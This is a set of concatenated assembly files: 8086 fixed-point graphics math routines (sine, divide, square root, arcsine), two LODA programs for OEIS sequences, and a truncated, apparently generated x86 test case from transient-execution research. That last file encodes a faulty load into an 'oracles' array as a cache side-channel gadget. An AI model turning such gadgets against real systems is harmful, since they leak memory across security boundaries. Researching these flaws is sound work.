GFC_0to90 GrFastCosine endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrFastSine GrQuickSine %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculate the sine of an angle CALLED BY: INTERNAL (GrFastSine) GLOBAL (GrQuickSine) PASS: dx.ax - 32-bit number representing angle * 65536 (dx holds high word, ax holds low word) RETURN: dx.ax - 32-bit number representing sine * 65536 (dx holds high word, ax holds low word) DESTROYED: bx, cx (GrFastSine) Nothing (GrQuickSine) PSEUDO CODE/STRATEGY: if (angle < 0) negate angle; toggle negative flag; while (angle >= 360) angle -= 360; if (angle > 270) angle = 360 - angle; toggle negative flag; else if (angle > 180) angle -= 180; toggle negative flag; else if (angle > 90) angle = 180-angle; lookup sine in table; if (negative flag set) value *= -1; There are two flags kept in ch, one to indicate if the result should be negated, the other to indicate how the fractional portion of the sin interpolation should be calculated. KNOWN BUGS/SIDE EFFECTS/IDEAS: TIMINGS (8088) -------------- minimum 67 cycles (0<=angle< 90, frac= 0) typical ~175 cycles (0<=angle<360, frac= 0, avg) fraction ~425 cycles (0<=angle<360, frac!=0, avg) REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; a few constants to represent bit positions if flag GFS_NEG_RESULT equ 80h ; mask for flag GrQuickSine proc far push bx, cx call GrFastSine pop bx, cx ret GrQuickSine endp ; special case: interpolate fractional angle. We'll use ; the additional sinFracTable to help us calculate a ; more accurate (but fast) result. haveFraction: mov dx, ds:[sinFracTable][bx] cmp ax, 8000h je doneFraction jb lessThanHalf cmp bx, 89 * 2 ; if ceiling is 90 degress mov bx, ds:[sinIntTable][bx+2] xchg bx, dx ; bx = floor, dx = ceiling jne doInterpolation ; ...not, so do nothing dec bx ; ...account for sinIntTable[90] ; dx = ceiling value ; bx = floor value ; ax = fraction doInterpolation: sub dx, bx ; start interpolation shl ax, 1 ; double the fraction, as the ; difference is .5 degrees mul dx ; dx:ax = diff * frac shl ax, 1 adc dx, 0 ; round result add dx, bx ; dx = final result jmp doneFraction lessThanHalf: mov bx, ds:[sinIntTable][bx] jmp doInterpolation ;------------------------------- GrFastSine proc near ; CYCLES uses ds .enter segmov ds, cs ; ds = segment for sine tables clr ch ; use ch for toggle flag ( 3) ; if angle < 0... tst dx ; see if negative ( 3) js negativeAngle ; (4/16) ; determine which quadrant angle resides; fixup angle,flags havePositiveAngle: cmp dx, 360 ; normalize to 0-360 ( 4) jge normalizeAngle ; (4/16) haveNormalAngle: cmp dx, 90 ; see if 0<=angle<90 ( 4) jge checkQuadrant ; no, in another quad (4/16) ; use table to lookup angle lookup: mov bx, dx ; prepare to do lookup ( 2) shl bx, 1 ; index into word table ( 2) mov dx, ds:sinIntTable[bx] ; lookup floor (angle) (21) tst ax ; see if non-zero fraction( 3) jnz haveFraction ; yes, do it (4/16) doneFraction label near mov ax, dx ; copy fraction to result ( 2) clr dx ; fraction, no int ( 3) ; apply negation , if necc negateMaybe: tst ch ; see if we need to neg ( 3) js negateResult ; yes, do it (4/16) done: .leave ret ;------------------------------------------------------- ; special case: negate result negateResult: negwwf dxax ; negate result jmp done ; special case: negative angle negativeAngle: xor ch, GFS_NEG_RESULT ; toggle both flags negwwf dxax ; negate 32-bit quantity jmp havePositiveAngle ; special case: angle >= 360 normalizeAngle: sub dx, 360 jge normalizeAngle add dx, 360 jmp haveNormalAngle ; special case: 90 <= angle < 360 checkQuadrant: cmp dx, 270 ; see if in 4th quad jl checkQuadrant3 ; no, check for 3rd quad negwwf dxax ; yes, angle=-angle add dx, 360 ; angle=360-angle xor ch, GFS_NEG_RESULT ; toggle negate flag jmp check90Degrees checkQuadrant3: cmp dx, 180 ; check for 3rd quad jl doQuadrant2 ; no, must be 2nd sub dx, 180 ; yes, angle-=180 xor ch, GFS_NEG_RESULT ; toggle both flags jmp check90Degrees doQuadrant2: negwwf dxax ; 2nd quadrant add dx, 180 ; angle=180-angle check90Degrees: cmp dx, 90 jne lookup mov ax, 0 ; just stuff value for 90 deg mov dx, 1 jmp negateMaybe GrFastSine endp GraphicsObscure ends COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrMulWWFixedPtr GrMul32 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Multiply two 32-bit signed integers, where lower 16-bits of each is considered a fraction. CALLED BY: GLOBAL (GrMulWWFixed, GrMulWWFixedPtr) INTERNAL (GrRegMul32, GrMul32) PASS: ds:si - points to multiplicand (GrMul32, GrMulWWFixedPtr) es:di - points to multiplier (GrMul32, GrMulWWFixedPtr) dx.cx - multiplier (GrRegMul32, GrMulWWFixed) bx.ax - multiplicand (GrRegMul32, GrMulWWFixed) RETURN: dx.cx - dx holds high word, cx holds low word DESTROYED: nothing PSEUDO CODE/STRATEGY: do the right thing KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/89 Initial version Joon 12/92 Optimized %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrMulWWFixedPtr proc far uses ax,bx .enter if FULL_EXECUTE_IN_PLACE EC < push ds, si > EC < call ECCheckBounds > EC < segmov ds, es, si > EC < mov si, di ; ds:si = multiplier > EC < call ECCheckBounds > EC < pop ds, si > endif movdw dxcx, ds:[si] movdw bxax, es:[di] call GrRegMul32ToDDF .leave ret GrMulWWFixedPtr endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrMulWWFixed GrRegMul32 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Multiplies two fixed point numbers dx.cx = dx.cx * bx.ax CALLED BY: GLOBAL PASS: dx.cx multiplicand bx.ax multiplier RETURN: dx.cx result DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/20/89 Initial version JS 6/9/92 Optimized %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrRegMul32 label far GrMulWWFixed proc far uses ax, bx .enter call GrRegMul32ToDDF .leave ret GrMulWWFixed endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrRegMul32ToDDF %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Multiply 2 WWFixed numbers and return a DDFixed number CALLED BY: GLOBAL PASS: dx.cx = multiplicand bx.ax = multiplier RETURN: bxdx.cxax = result dx.cx = same as result from old GrMul32 DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: D.C dx.cx B.A bx.ax ----------- ----- A*D + (A*C >> 16) bxdx.cxax (B*D << 16) + B*C ------------------------------------- (B*D << 16) + A*D + B*C + (A*C >> 16) REVISION HISTORY: Name Date Description ---- ---- ----------- Joon 1/12/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrRegMul32ToDDF proc near uses bp, si, di .enter mov si, dx ;si.cx = multiplicand mov di, ax ;bx.di = multiplier mov ax, si xor ax, bx ;if signs are different then SFlag will be set pushf ;save flags tst si js neg_sicx ;if signed, negate operand after_sicx: tst bx js neg_bxdi ;if signed, negate operand after_bxdi: mov ax, cx mul di ;0.dxax = C*A mov bp, dx ;0.bp = C*A push ax ;save lowest word mov ax, si mul bx ;dxax.0 = D*B push dx ;save highest word xchg ax, cx ;cx.0 = D*B, ax = C mul bx ;dx.ax = C*B add bp, ax adc cx, dx ;cx.bp = D*B + C*B + C*A mov ax, si mul di ;dx.ax = D*A add ax, bp adc dx, cx ;dx.ax = middle two words of answer pop bx ;bx <= highest word adc bx, 0 ;add carry to highest word pop cx ;cx <= lowest word xchg ax, cx ;answer = bxdx.cxax popf js neg_bxdxcxax ;if signs of operands are different, done: ; negate result .leave ret neg_sicx: negdw sicx ;make multiplicand jmp short after_sicx neg_bxdi: negdw bxdi ;make multiplier positive jmp short after_bxdi neg_bxdxcxax: neg ax cmc not cx adc cx, 0 not dx adc dx, 0 not bx adc bx, 0 jmp short done GrRegMul32ToDDF endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrReciprocal32 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculates the reciprocal of a 32-bit integer, where 16-bits are considered the integer part, and 16-bits are fraction. CALLED BY: INTERNAL PASS: bx.ax - number to take reciprocal This notation is meant to represent a 32-bit quantity as HighWord:LowWord -- not a far pointer. RETURN: bx.ax - reciprocal DESTROYED: nothing PSEUDO CODE/STRATEGY: uses GrUDiv32, below KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrReciprocal32Far proc far call GrReciprocal32 ret GrReciprocal32Far endp GrReciprocal32 proc near push cx, dx ; save regs ; set up 1.0 as dividend clr cx ; no fraction mov dx, 1 ; sets up 1.0 call GrSDiv32 ; do 32-bit divide mov bx, dx ; set up result mov ax, cx pop cx, dx ; restore regs ret GrReciprocal32 endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrSDiv32 GrSDivWWFixed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: signed divide, 32-bit dividend and divisor CALLED BY: INTERNAL (GrSDiv32) GLOBAL (GrSDivWWFixed) PASS: dx.cx - 32-bit dividend bx.ax - 32-bit divisor This notation is meant to describe dx:cx as a 32-bit quantity, RETURN: dx.cx - 32-bit quotient (dx=integer part, cx=fractional part) bx.ax - unchanged carry - set if overflow occurred, else clear - quotient is undefined if overflow occurred. DESTROYED: nothing PSEUDO CODE/STRATEGY: This uses the unsigned divide routine, and fixes up the signs of result. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrSDivWWFixed proc far push ax, bx call GrSDiv32 pop ax, bx ret GrSDivWWFixed endp GrSDiv32 proc near uses si .enter mov si, dx ; calc sign of result xor si, bx ; positive if both same sign ; change sign of operands, if necc tst dx ; test dividend jns GSD_numfixed ; negative ? negdw dxcx ; yes, negate dividend GSD_numfixed: tst bx ; test divisor jns GSD_denfixed ; negative ? negdw bxax ; yes, negate divisor GSD_denfixed: call GrUDiv32 ; do unsigned divide pushf ;save overflow status ; restore sign of result, do the right thing tst si ; test sign of result js changeSign ; negative, so change sign popfDone: popf .leave ret changeSign: negdw dxcx ; negate result jmp popfDone GrSDiv32 endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrUDiv32 GrUDivWWFixed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: unsigned divide, 32-bit dividend and divisor CALLED BY: INTERNAL (GrUDiv32) GLOBAL (GrUDivWWFixed) PASS: dx.cx - 32-bit dividend bx.ax - 32-bit divisor This notation is meant to describe dx:cx as a 32-bit quantity, RETURN: dx.cx - 32-bit quotient (WWFixed format) bx.ax - unchanged carry - set if overflow occurred, else clear - quotient is undefined if overflow occurred. DESTROYED: nothing PSEUDO CODE/STRATEGY: All integer divide algorithms (that I could find) produce a quotient and a remainder. Unfortunately, we want a quotient that is part integer and part fraction. To get around this problem, we shift the dividend left 16-bits which will produce a 48-bit quotient that is also multiplied by 2^16. This makes the low 16-bits of the result a fraction, just what we want. Since the 8088 div instruction divides a 32-bit number by a 16-bit divisor, we can't use it (we have a 32-bit divisor). Therefore we go back to basics and write our own divide routine. The basic algorithm is: partial_dividend = 0; for (count=48; count>0; count--) shift dividend left; shift partial_dividend left; if (divisor <= partial_dividend) partial_dividend -= divisor; dividend++; quotient = dividend; remainder=partial_dividend; register/stack usage: dx:cx:di - 48-bit divident/quotient bx:ax - 32-bit partial dividend/remainder si - count [bp-4] - 32-bit divisor Believe it or not, this algorithm was adapted from one I found in "6502 Software Design", by <NAME>. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrUDivWWFixed proc far call GrUDiv32 ret GrUDivWWFixed endp GrUDiv32 proc near ; ; This "if" contains the trivial reject and simple-case analysis code ; if 1 ; ; Check for dividend == 0 (dx = cx = 0) ; tst_clc dx jnz nonZeroDividend jcxz exit ; ; Check for division by 1:0 (bx = 1, ax = 0) ; nonZeroDividend: tst ax jnz axNonZero cmp bx, 1 je exit ;carry clear from = comparison jcxz bothInts axNonZero: tst bx jnz divisorBig cmp ax, dx ;if dividend is too big, error ja divisorSmall error: stc ret ; ; A quick divide for the case where ; divisor is 16 bits (bx = 0) ; divisorSmall: xchg ax, cx ; dx:ax = dividend, ; cx = divisor jcxz error ; error on divide by zero div cx ; ax <- quotient ; dx <- remainder xchg bx, ax ; ax <- 0 ; bx <- quotient div cx ; ax <- frac quotient ; dx <- frac remainder (we toss this) mov dx, bx ;dx <- quotient xchg cx, ax ;cx <- fraction, ;ax <- divisor xor bx, bx ;return bx to its original state (= 0), ;and clear the carry exit: ret ; all done bothInts: ; ; Both passed #'s are integers (ax = cx = 0) ; xchg ax, dx ;dx <- 0, ax <- int tst bx jz error ;error on divide by zero div bx ;ax <- quotient int, dx <- remainder tst_clc dx jz intIntInt xchg ax, cx ;ax <- 0, cx <- quotient int div bx ;ax <- quotient frac, dx <- toss mov dx, cx ;dx <- quotient int mov_tr cx, ax ;cx <- quotient frac xor ax, ax ;return ax to its original state (= 0), ;and clear the carry ret ; ; Both args ints, result int ; intIntInt: xchg dx, ax ;dx <- quotient int ret ;carry clear from tst_clc divisorBig: endif push si, di, bp ; save registers trashed ; set up regs as we like mov bp, sp ; allocate some scratch space push bx ;ss:[bp-2] <- divisor int push ax ;ss:[bp-4] <- divisor frac ; sub sp, 4 ; need space for divisor ; mov [bp-2], bx ; move divisor to stack ; mov [bp-4], ax clr ax, bx, di ; clear partial dividend, low word mov si, cx mov cx, 49 ; bit counter (loop count) ; loop through all bits, doing that funky divide thing GUD_topNext: dec cx jz GUD_afterLoop GUD_loop: sal di, 1 ; shift partial dividend/dividend rcl si, 1 rcl dx, 1 rcl ax, 1 rcl bx, 1 cmp [bp-2], bx ; divisor > partial dividend ? ja GUD_topNext ; no, continue with next loop jne GUD_work ; yes, need to do some more work cmp [bp-4], ax ; can't tell yet, check low word ja GUD_topNext ; no, continue next loop ; divisor <= partial dividend, do some work GUD_work: ; this code has been replaced ; add di, 1 ; increment quotient ; adc si, 0 ; adc dx, 0 inc di jz GUD_rippleCarry GUD_afterRipple: sub ax, [bp-4] ; partial divident -= divisor sbb bx, [bp-2] ;GUD_next: loop GUD_loop ; continue with next iteration GUD_afterLoop: ; test for overflow, set up results pop ax ; restore divisor frac pop bx ; restore divisor int tst_clc dx ; should be zero if no overflow jnz GUD_overflow ; error, signal and quit mov dx, si ; move integer over mov cx, di ; move fraction over GUD_done: pop si, di, bp ; restore trashed regs ret ; all done GUD_overflow: stc ; set carry flag to indicate overflow jmp short GUD_done ; all done GUD_rippleCarry: inc si jnz GUD_afterRipple inc dx jmp GUD_afterRipple GrUDiv32 endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrSqr32 GrSqrWWFixed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculates the square of a 32 bit number. CALLED BY: GLOBAL (GrSqrWWFixed) INTERNAL (GrSqr32) PASS: dx.cx - dx = hi, cx = lo RETURN: dx.cx DESTROYED: nothing PSEUDO CODE/STRATEGY: Sets up parameters for GrRegMul32 and calls it KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrSqrWWFixed proc far call GrSqr32 ret GrSqrWWFixed endp GrSqr32 proc near push ax,bx mov ax,cx mov bx,dx call GrRegMul32ToDDF pop ax,bx ret GrSqr32 endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrSqrRoot32 GrSqrRootWWFixed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculate the square root of a 32 bit number. The first 16 bits are integer and the second 16 bits are fractional. Numbers less than 1 return with the value 1. So Sorry. CALLED BY: CalcButtCap PASS: dx.cx - WWFixed number to take square root of RETURN: dx.cx - WWFixed square root DESTROYED: nothing PSEUDO CODE/STRATEGY: MaNewton Bols formula says if you have an approximation A then (N/A +A) /2 is a better approximation ( N is the number whose square root we wish to know) For speed sake I choose an initial approx that is a power of two. I choose the power of two by determining the highest bit set in the integer portion of the number. highest bit set init approx 15 256 14 128 13 128 12 64 11 64 10 32 and so on To determine the highest bit I basically shift the integer portion to the left until the carry is set. I then use this formula x=(17-#ofShifts)/2. x is the postion of the bit to set to create my approx and it is also the number of times to shift the original number to the right for the divide in Newtons formula. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/28/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrSqrRootWWFixed proc far call GrSqrRoot32 ret GrSqrRootWWFixed endp GSR32__10: ;number is less than or equal to 1 so return 1 mov dx,1 clr cx jmp short GSR32_99 GrSqrRoot32 proc near push ax,bx,si,di ;don't destroy cmp dx,1 jna GSR32__10 ;bra if number less than or equal 1 mov si,cx ;save fractional mov cx,17 mov al,dh cmp dh,0 ja GSR32_20 ;bra if something in high byte of integer sub cl,8 ;pretend we have already done 8 shifts mov al,dl ;search for highest set bit in low byte GSR32_20: shl al,1 ;find highest bit dec cl jnc GSR32_20 shr cl,1 ; now cl = magic number for right shift approx mov bx,dx ;get original number in bx:ax mov ax,si mov di,1 ;di will equal approx so it can be subtracted GSR32_30: ;calculate second approximation shr bx,1 ;this gives number/approx in bx:ax rcr ax,1 shl di,1 ;and approx in di loopnz GSR32_30 add bx,di ;add approx from num/approx shr bx,1 ;divide result by 2 rcr ax,1 ;to get next approx in bx:ax push dx ;save original number push cx call GrUDiv32 ;divide number/approx add ax,cx ;add fractional of quotient to approx adc bx,dx ;add integer of quotient to approx shr bx,1 ;divide result of addition by 2 rcr ax,1 ;to get next approx in bx:ax pop cx ;retrieve original number pop dx ;calc final approx call GrUDiv32 ;divide number/approx add cx,ax ;add fractional of quotient to approx adc dx,bx ;add integer of quotient to approx shr dx,1 ;divide result of addition by 2 rcr cx,1 ;to get final approx in dx:cx GSR32_99 label near pop ax,bx,si,di ret GrSqrRoot32 endp GraphicsObscure segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrFastArcSine GrQuickArcSine %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculates the inverse sign. In general you would pass -(delta y / radius) in dx and delta x in cx and the routine will return the correct angle for that quadrant. The minus on the (delta y / radius) is because the graphics coordinate system's origin is in the upper left, when usually it should be in the lower left. CALLED BY: PASS: bx - orig delta x value (only sign matters) dx.cx - value to get inverse sign for (delta y/ distance ) (WWFixed format) -1 <= dx.cx <= 1 RETURN: dx.cx - angle DESTROYED: ax,bx PSEUDO CODE/STRATEGY: Do a binary search on the sine table KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine currently routines largest integer angle with a sine less than the passed value. Linear Interpolation could be done but it wasn't necessary for my purposes. REVISION HISTORY: Name Date Description ---- ---- ----------- srs 4/26/89 Initial version jim 1/19/93 added interpolation %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrQuickArcSine proc far call GrFastArcSine ret GrQuickArcSine endp GrFastArcSine proc near uses di, bp, ds .enter push bx, dx ; save passed int tst dx ; force dx:cx to be positive jns haveAbs negwwf dxcx ; have absolute value of sine. Limit search to first quadrant. haveAbs: cmp dx, 1 ; check for 90 degrees je angleIs90 ; binary search won't handle 1 ; OK, so it isn't the trivial case. Do a binary search on ; the sine table to find the angle. clr bx ; lower search position mov dx, 90 ; upper table search position segmov ds, cs ; sineIntTable is in our code segment mov di, offset GraphicsObscure:sinIntTable call BinarySearch ; ax = value, bp = table offset jnc interpolate ; not exact, need to interpolate result mov cx, 0 ; don't use CLR, (assuming exact) calcInteger: mov dx, bp ; if exact, use table index for angle shr dx, 1 ; We have an angle value between 0 and 90. Adjust for the ; right quadrant, based on the passed deltaX value and the ; sine value. The breakdown is as follows: ; deltaX sine quadrant action ; ------ ---- -------- ------ ; + + 0-90 angle' = angle ; - + 90-180 angle' = 180-angle ; - - 180-270 angle' = 180+angle ; + - 270-360 angle' = 360-angle adjustForQuad: pop bx, ax ; ax = sine, bx = deltaX tst ax ; check sine first js sineNegative ; jmp if in quadrants 3 or 4 tst bx ; check deltaX js quadrant2 ; if positive, in quadrant 1 done: .leave ret ; angle is 90 degrees. No need for a search. angleIs90: mov dx, 90 ; dx = +-1 so angle = 90 before clr cx ; adjust for quadrant jmp adjustForQuad ; we're in quadrant 2. angle = 180-result quadrant2: sub dx, 180 ; calc 180-angle for quad 2 neg dx ; dxcx = new jmp done ; the original sine value was negative, so we're in quad 3 or 4 sineNegative: tst bx ; check deltaX jns quadrant4 ; in last quadrant ; we're in quadrant three, angle is 180+result add dx,180 ;otherwise must be in quad 3,so add 180 jmp done ; quadrant 4. angle is 360-result quadrant4: sub dx, 360 neg dx jmp done ; the search yielded that we're not on an integer angle. ; Interpolate between the two values in the table. Result ; should be: angleInt =bp>>1 ; angleFrac=(origAng-tab[bp])/(tab[bp+2]-tab[bp]) interpolate: mov dx, cx sub dx, ax ; subtract tab[bp] from origAng clr cx ; dxcx = numerator mov bx, ds:[di][bp+2] ; bx = tab[bp+2] sub bx, ax clr ax call GrUDivWWFixed jmp calcInteger ; integer calculation same GrFastArcSine endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BinarySearch %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do a binary search on a table of words CALLED BY: PASS: ds:di - segment and offset to table bx - lowest table position to search dx - highest table position to search cx - value to find RETURN: ax <= cx bp - offset into table to value in ax stc - ax = cx clc - ax < cx DESTROYED: dx,bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- srs 4/26/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BinarySearch proc near mov bp, bx ;bp <- lower to avoid segment override on ; table fetch and to shrink size of AND ; instruction (need only mask BL, not all of ; BP) BS_0: add bx, dx ;bx = table offset = (lower+upper/2)*2 BS_1: andnf bx,not 1 ; just need to clear low bit mov ax,ds:[di][bx] ;get value now so we have it if we stop cmp dx,bp jb done ;stop, upper < lower shr bx,1 ;make bx into table position again cmp ax,cx ;compare table to desired jb truncateLowEnd ;jmp if table < hunted je match ;BINGO ;table > hunted dec bx ;truncate high end mov dx, bx add bx, bp jmp short BS_1 truncateLowEnd: ;table < hunted inc bx mov bp,bx jmp short BS_0 match: shl bx,1 ;make bx offset into table to exact answer ; (must clear carry b/c bp was shifted right ; above, clearing the high bit. A clear carry ; is what we want so we can return carry set ; to indicate the value was actually found) done: cmc ;set carry properly. If we ran out of table, ; carry is set (upper is below lower) but ; we want it clear. If we found the thing, the ; carry is clear (see above) but we want it set. mov bp, bx ; return table offset in bp ret BinarySearch endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrQuickTangent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculates a tangent of the passed angle (uses table lookup) CALLED BY: GLOBAL PASS: DX.AX = Angle (WWFixed) RETURN: DX.AX = Tangent DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 9/20/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrQuickTangent proc far uses bx, cx .enter ; Tangent = Sine / Cosine ; movwwf bxcx, dxax ; angle to => BX.CX call GrQuickCosine ; cosine => DX.AX xchgwwf bxcx, dxax call GrQuickSine ; sine => DX.AX xchg ax, cx ; sine => DX.CX, cosine => BX.AX call GrSDivWWFixed ; tangent => DX.CX mov_tr ax, cx ; tangent => DX.AX .leave ret GrQuickTangent endp GraphicsObscure ends
oeis/017/A017735.asm
neoneye/loda-programs
11
88072
; A017735: Binomial coefficients C(n,71). ; 1,72,2628,64824,1215450,18474840,237093780,2641902120,26088783435,231900297200,1878392407320,14002561581840,96851050941060,625806790696080,3799541229226200,21784036380896880,118450697821126785,613156553427009240,3031718514166879020,14360771909211532200,65341512186912471510,286258053390283208520,1210090862058924472380,4945588740588647843640,19576288764830064381075,75172948856947447223328,280452924581688553102416,1017940244777980674223584,3599145865465003098147672,12410847811948286545336800 add $0,71 bin $0,71
programs/oeis/133/A133264.asm
karttu/loda
1
176644
<reponame>karttu/loda ; A133264: Smallest number whose sum of digits is 3n+1. ; 1,4,7,19,49,79,199,499,799,1999,4999,7999,19999,49999,79999,199999,499999,799999,1999999,4999999,7999999,19999999,49999999,79999999,199999999,499999999,799999999,1999999999,4999999999,7999999999 mul $0,3 add $0,1 cal $0,51885 ; Smallest number whose sum of digits is n. mul $0,2 mov $1,$0 div $1,6 mul $1,3 add $1,1
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_17.asm
ljhsiun2/medusa
9
94790
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %rbp push %rbx lea addresses_WT_ht+0x11c7e, %r15 nop nop nop nop nop cmp $18031, %rbx movb (%r15), %r10b nop nop nop nop nop and $49709, %r11 pop %rbx pop %rbp pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r9 push %rbp push %rcx push %rdi push %rdx // Load lea addresses_D+0xb5de, %rdx nop nop sub $38386, %r15 mov (%rdx), %r9w nop sub $35588, %r15 // Faulty Load lea addresses_RW+0x1109e, %rbp nop nop nop nop nop cmp $44598, %rcx movb (%rbp), %r13b lea oracles, %rcx and $0xff, %r13 shlq $12, %r13 mov (%rcx,%r13,1), %r13 pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 